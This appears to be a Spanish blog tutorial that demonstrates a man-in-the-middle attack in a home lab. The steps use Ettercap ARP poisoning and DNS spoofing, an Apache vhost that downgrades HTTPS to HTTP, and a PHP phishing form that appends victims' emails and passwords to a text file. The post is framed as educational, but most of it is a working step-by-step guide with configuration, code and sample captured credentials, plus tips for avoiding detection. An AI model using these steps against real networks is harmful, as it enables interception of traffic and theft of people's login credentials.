Ciberseguridad, TI

Man In The Middle con Ettercap para HTTP/HTTPS

Posted on Author Sergio Bastián Rodríguez

Esta entrada ha sido creada únicamente con fines educativos, nunca para su uso ilícito. Se pretende explicar el funcionamiento de ataques Man In The Middle y la importancia concienciar a las personas para identificar un engaño que pretenda robar información sensible, como las credenciales de usuario.

Recientemente he estado buscando la manera de poder capturar el tráfico que un usuario genera desde su equipo a través de una conexión segura HTTPS, técnicas de Sniffing en un mismo segmento de red o Man In The Middle (MITM), pero no tuve éxito alguno con todos los métodos probados:

  • Ettercap + SSLStrip + Delorean, junto a técnicas de ARP Poisoning.
  • Bettercap, instalando las gemas en Ruby que precisa.

Ninguno de estos métodos me funcionó, a pesar de encontrar multitud de tutoriales en Internet en donde lo hacen sin complicación alguna. Posiblemente los mecanismos de seguridad en los servicios web utilizados durante las pruebas detecten este tipo de ataques haciéndolos inútiles, como comprobar el protocolo para evitar el envío de datos desde el cliente con mecanismos de JavaScript, por ejemplo. Incluso hubo un caso en el que estaba saliendo todo a las mil maravillas contra un periódico local cuando de repente me llevé una sorpresa al ver que la contraseña era encriptada en el cliente y se transmitía ya codificada.

Por este motivo me decanto por otro tipo mecanismo en el que se usa:

  • Ettercap + desarrollo de página web, junto a técnicas de Phishing combinadas con ARP Poisoning y DNS Spoofing.

Este método precisa tener conocimientos de HTML, CSS y PHP para construir una página de Phishing aceptable y agregarle funciones de almacenamiento bien en base de datos o ficheros de texto.

En esta entrada no vamos a explicar como programar en estos lenguajes. Nosotros usaremos los citados, pero pueden utilizarse otros como Python, Frameworks como DJango, PHP Cake, Codeigniter, …

Vamos al lío!!!!!

Laboratorio

Vamos a realizar esta prueba en una LAN con los siguientes equipos:

  • GateWay (GW) en la IP 192.168.0.1
  • Host víctima con Xubuntu 18.04.1 LTS instalado en la IP 192.168.0.32
  • Host atacante con Parrot 4.5 instalado en la IP 192.168.0.23

 

Técnicas

Se van a emplear varias técnicas para capturar el tráfico:

  • ARP Poisoning, o envenenamiento de las tablas ARP del GW y Víctima, con el fin de que todo el tráfico pase por el equipo atacante.
  • DNS Spoofing, para modificar las consultas que la víctima vaya a hacer, con el fin de cambiar la IP del servidor destino cuando intente navegar a determinadas URLs.
  • Phishing, tendremos que crear la suplantación a las páginas objetivo del ataque para engañar a la víctima y obtener sus datos.
  • Servidor web, en nuestro caso usaremos Apache2 que ya viene instalado en la distribución utilizada como equipo atacante.

Ataque

Configuraciones previas

Para lanzar este ataque de tipo Man In The Middle vamos a utilizar el programa Ettercap, pero primero debemos de realizar un par de cambios en sus archivos e configuración.

Editamos el archivos /etc/ettercap/etter.conf y realizamos los siguientes cambios:

  • Cambiamos el valor de las siguientes líneas a 0:
[privs]
ec_uid = 0                # nobody is the default
ec_gid = 0                # nobody is the default
  • Descomentamos las siguientes líneas, sobre todo si usamos el FW del sistema IPTABLES.
# if you use iptables:
   redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %$
   redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport $

Descubrimiento de hosts

Para descubrir los hosts y lanzar los ataques contra la tabla ARP y las consultas DNS usamos el programa Ettercap.

Lo arrancamos en modo gráfico con el siguiente comando:

ettercap -G

Siendo el siguiente su resultado:

┌─[root@parrot]─[/etc/ettercap]
└──╼ #ettercap -G

ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team

Gtk-Message: 13:15:47.888: Failed to load module "atk-bridge"

Se inicia la interfaz gráfica. Recordar no cerrar la línea de comandos anterior ya que cerraríamos el programa.

Iniciamos el ataque en el menú Sniff -> Unified sniffing…

Indicamos la tarjeta de red que vamos a utilizar para capturar el tráfico, en nuestro caso es la eth0. Deberás de consultar como se nombra en tu sistema con el comando ifconfig.

Descubrimos los hosts a los que tiene acceso el equipo atacante dentro de la LAN. Para ello vamos a la sección Hosts -> Hosts list, y posteriormente lanzamos el escaneo dentro de la LAN para descubrir nuevos equipos dese Hosts -> Scan for hosts.

Finalmente obtenemos el listado de equipos en la LAN, en donde vemos el GW y el equipo de la víctima.

Ahora Seleccionamos los objetivos, siendo el primero el equipo víctima.

Y segundo el GW.

ARP Poisoning

Lanzamos el tipo de ataque para el envenenamiento de la tabla ARP, o ARP Poisoning. Lo hacemos desde el menú Mitm -> ARP posining…

Y especificamos que se capture todo el tráfico de las conexiones remotas.

En la consola del programa se muestra el listado de víctimas del ataque.

DNS Spoofing

Para aplicar este ataque primero debemos de configurar los destinos de las URLs a los que queremos redirigir cuando la víctima navega por ellos. Por ejemplo, el portal de este blog para iniciar sesión tiraquelibras.com. Para ello editamos el archivo /etc/ettercap/etter.dns y agregamos las entradas que necesitemos apuntando a la IP del host atacante:

###############################
# Phishing del blog
#

tiraquelibras.com  A       192.168.0.23

De esta manera, cuando el usuario navege a tiraquelibras.com le redirigimos hacia el equipo atacante en lugar de hacia el servidor legítimo.

Ahora iniciamos el plugin de DNS spoofing para Ettercap desde el menú Plugins -> Manage the plugins:

Seleccionamos el plugin dns_spoof y lo activamos haciendo doble click.

En la consola se informa de que el plugin ha sido cargado.

En estos momentos podemos parar y arrancar el ataque en cualquier momento desde el menú Start. Recomiendo solo arrancarlo cuando se vaya a realizar, para así evitar problemas en el GW o en el host de la víctima.

Arranque servidor web

Arrancamos el servidor web Apache2, en nuestro caso, aunque te valdría cualquier otro.

service apache2 start

Confirmamos que está correctamente arrancado.

service apache2 status
● apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
   Active: active (running) since Sat 2019-01-19 13:53:43 CET; 3s ago
  Process: 2701 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE
 Main PID: 2705 (apache2)
    Tasks: 6 (limit: 3535)
   Memory: 11.7M
   CGroup: /system.slice/apache2.service
           ├─2705 /usr/sbin/apache2 -k start
           ├─2707 /usr/sbin/apache2 -k start
           ├─2708 /usr/sbin/apache2 -k start
           ├─2709 /usr/sbin/apache2 -k start
           ├─2710 /usr/sbin/apache2 -k start
           └─2711 /usr/sbin/apache2 -k start

ene 19 13:53:43 parrot systemd[1]: Starting The Apache HTTP Server...
ene 19 13:53:43 parrot apachectl[2701]: AH00558: apache2: Could not reliably det
ene 19 13:53:43 parrot systemd[1]: Started The Apache HTTP Server.

Ahora cualquier consulta al DNS que hayamos indicado en el ataque será enviado al directorio web de nuestro servidor, en nuestro caso /var/www/html.

Si precisas configurar el servidor web para distintos dominios, y así poder disponer de distintos tipos de Phishing alojados en el host atacante, debes de buscar la información para configurar Virtual Host en tu servidor web. Aquí te dejo el enlace para la configuración de nuestro Apache2 pinchando aquí.

¿HTTPS o HTTPS->HTTP?

ACTUALIZACIÓN 21/01/2019.

Si el usuario accede a la URL que queremos suplantar pude hacerlo directamente desde el protocolo HTTPS en su navegador (a mano o por caché). Esto fallaría al establecer la conexión con nuestra página falsa, ya que la tenemos configurado bajo HTTP.

Podemos optar por dos opciones, lo más transparentes para el usuario:

HTTPS

  • Configurar nuestro servidor web para que el dominio responda a través del protocolo seguro HTTPS, lo que conlleva el generar un certificado autofirmado (cómo generar certificados autofirmados pincha aquí). Esta opción no la recomiendo porque el propio navegador nos delataría al informar de la desconfianza en el emisor del certificado instalado, y si el usuario se da cuenta de esto cortará inmediatamente la conexión si está lo suficientemente concienciado con el problema.

HTTPS -> HTTP

  • Redirigir la conexión HTTPS hacia HTTP en nuestro servidor web. Para esto debemos de configurar el Virtual Host en nuestro servidor, configurar la conexión al puerto 443 para el dominio a suplantar, con un certificado autofirmado (cómo generar certificados autofirmados pincha aquí) para el dominio a suplantar y hacer la redirección al puerto no seguro en el puerto 80. El código de ejemplo sería el siguiente:
<VirtualHost *:443>

    ServerName tiraquelibras.com


    Redirect permanent / http://tiraquelibras.com/

    SSLEngine on
    SSLCertificateFile /etc/apache2/ssl/domain.crt
    SSLCertificateKeyFile /etc/apache2/ssl/domain.key

    # Otras directivas a partir de aquí
</VirtualHost>

<VirtualHost *:80>
    DocumentRoot "/var/www/html"
    ServerName tiraquelibras.com

    # Otras directivas a partir de aquí

</VirtualHost>

CONSIDERACIONES

La redirección del protocolo seguro HTTPS al HTTP con el uso de un certificado autofirmado mostrará una advertencia de desconfianza sobre este en el navegador, ya que la entidad emisora no es de confianza, antes de aplicar el cambio de protocolo. Este mensaje no se puede evitar, por lo que ante esta situación el ataque será efectivo si el usuario acepta la advertencia y continua con la navegación. De lo contrario, habremos sido descubiertos.

Si la navegación se inicia desde el protocolo no seguro HTTP no se mostrará error alguno desde el navegador.

No recomiendo el uso de SSLStrip en esta prueba, ya que estaríamos redirigiendo todo el tráfico HTPPS manteniéndolo bajo HTTP, y pudiendo delatarnos al acceder a alguna página con mecanismos de protección ante esta técnica, como Facebook o Paypal, por ejemplo.

Comprobación

Podemos comprobar como funciona el DNS Spoofing desde el host de la víctima lanzando un ping al dominio suplantado.

sergio@Xubuntu-VirtualBox:~$ ping tiraquelibras.com
PING tiraquelibras.com (192.168.0.23) 56(84) bytes of data.
64 bytes from www.microsoft.com (192.168.0.23): icmp_seq=1 ttl=64 time=1.73 ms
64 bytes from www.microsoft.com (192.168.0.23): icmp_seq=2 ttl=64 time=0.427 ms
64 bytes from www.microsoft.com (192.168.0.23): icmp_seq=3 ttl=64 time=0.446 ms

Vemos como la IP es desviada al host atacante.

En la consola del Ettercat también podemos verlo.

Phishing

En este momento debemos de tener la página de Phishing para la suplantación de identidad alojada en el directorio web que hayamos configurado en nuestro servidor web.

Vamos a ver dos ejemplos, uno sencillo para confirmar que todo funciona correctamente y otro más complejo en donde veremos la captura de los datos introducidos por el usuario.

Ejemplo sencillo

Creamos un archivo index.html sencillo con el siguiente contenido, el cual nos confirme si el ataque está siendo efectivo o no.

<h1><enter>YOU HAVE BEEN HACKED !!!!</enter></h1>

Confirmamos que funciona navegando desde el host vícitma a la página http://tiraquelibras.com

Si observamos la consola de Ettercap se muestra la respuesta DNS realizada durante la navegación de la víctima apuntando al host atacante.

Ejemplo complejo

Ahora vamos a complicarlo un poco más. Para este ejemplo amos a alojar un phising, programado en PHP,  suplantando la identidad de un formulario de validación.

El código del archivo index.php es muy largo, por lo que os lo adjunto en el siguiente enlace para su descarga pinchando aquí.

Se trata de capturar las credenciales del formulario enviadas por el usuario, mediante el método POST, y almacenarlas en un documento de texto. Se pueden utilizar otros métodos, como guardar los datos en una base de datos (MySQL, PostgreSQL, Redis, MongoDB, …), pero nosotros vamos a usar esta forma para no extendernos mucho.

Creamos un archivo de texto credenciales.txt en el mismo directorio que el archivo index.php, con la página falsa. En este almacenaremos las credenciales enviadas por el usuario.

┌─[root@parrot]─[/var/www/html]
└──╼ #ls
credentials.txt  index.php

El método del formulario ha de ser de tipo POST.

<form action='<?php echo $_SERVER['PHP_SELF']; ?>' method="POST" class='container'>
    <img id='img-logo' src="https://blog.tiraquelibras.com/wp-content/uploads/2018/04/favicon.png">
    <p>Iniciar sesi&oacute;n</p>
    <input type='email' name='email' placeholder='Correo electronico'>
    <input type='password' name='password' placeholder='Contrase&ntilde;a'><br>
    <button type="submit" id="button" onsubmit="alert('Datos enviados.');">Siguiente</button>
</form>

Al comienzo del archivo agregamos el código que guarda los datos en un archivo si detecta el envío de datos por el método POST citado anteriormente.

<?php

if(isset($_POST['email'])){
    $file = fopen('credentials.txt', 'a') or die('Unable to open file!');
    $credentials = $_POST['email'] . ":" . $_POST['password'] . "\n";
    fwrite($file, $credentials);
    fclose($file);
}

?>

Si accediéramos a la URL http://tiraquelibras.com se mostraría la página falsa.

Al enviar los datos desde el formulario podemos ver como se van almacenando las credenciales en el archivo de texto.

┌─[root@parrot]─[/var/www/html]
└──╼ #cat credentials.txt 
sergio@tiraquelibras.com:1234
sergio@tiraquelibras.com:asdf
sergio@tiraquelibras.com:324234

En este caso en concreto el usuario no cambia de ventana en el navegador, pero podemos redireccionarle a otra página, indicar un mensaje de error temporal o redireccionar a un portal de en mantenimiento, para que no sospeche de lo que está ocurriendo.

Parar el ataque

Con parar el proceso desde el Ettercap finalizamos el ataque y el usuario recupera el servicio normal de navegación.

Conclusión

Debemos de ser muy consientes de los riesgos que conlleva navegar por Internet, asegurarnos de la importancia de mantener la privacidad en la red, fijarnos en los detalles que nos pueden indicar que no estamos en espacios seguros, y sobre todo desconfiar de todo lo desconocido o sospechoso.

En este caso estamos simulando un ataque sobre el protocolo no seguro HTTP, pero se podría depurar esta técnica con la instalación de un certificado o la maquetación que le de un aspecto al portal de seguridad.

No hay mejor antivirus que uno mismo 😀

Aaaaaaadios!!!!!!

Enlaces

Ettercap pincha aquí.

ARP Spoofing pincha aquí.

DNS Spoofing pincha aquí.

Parrot pincha aquí.

Apache Virtual Host pincha aquí.

Código del Phising completo pincha aquí.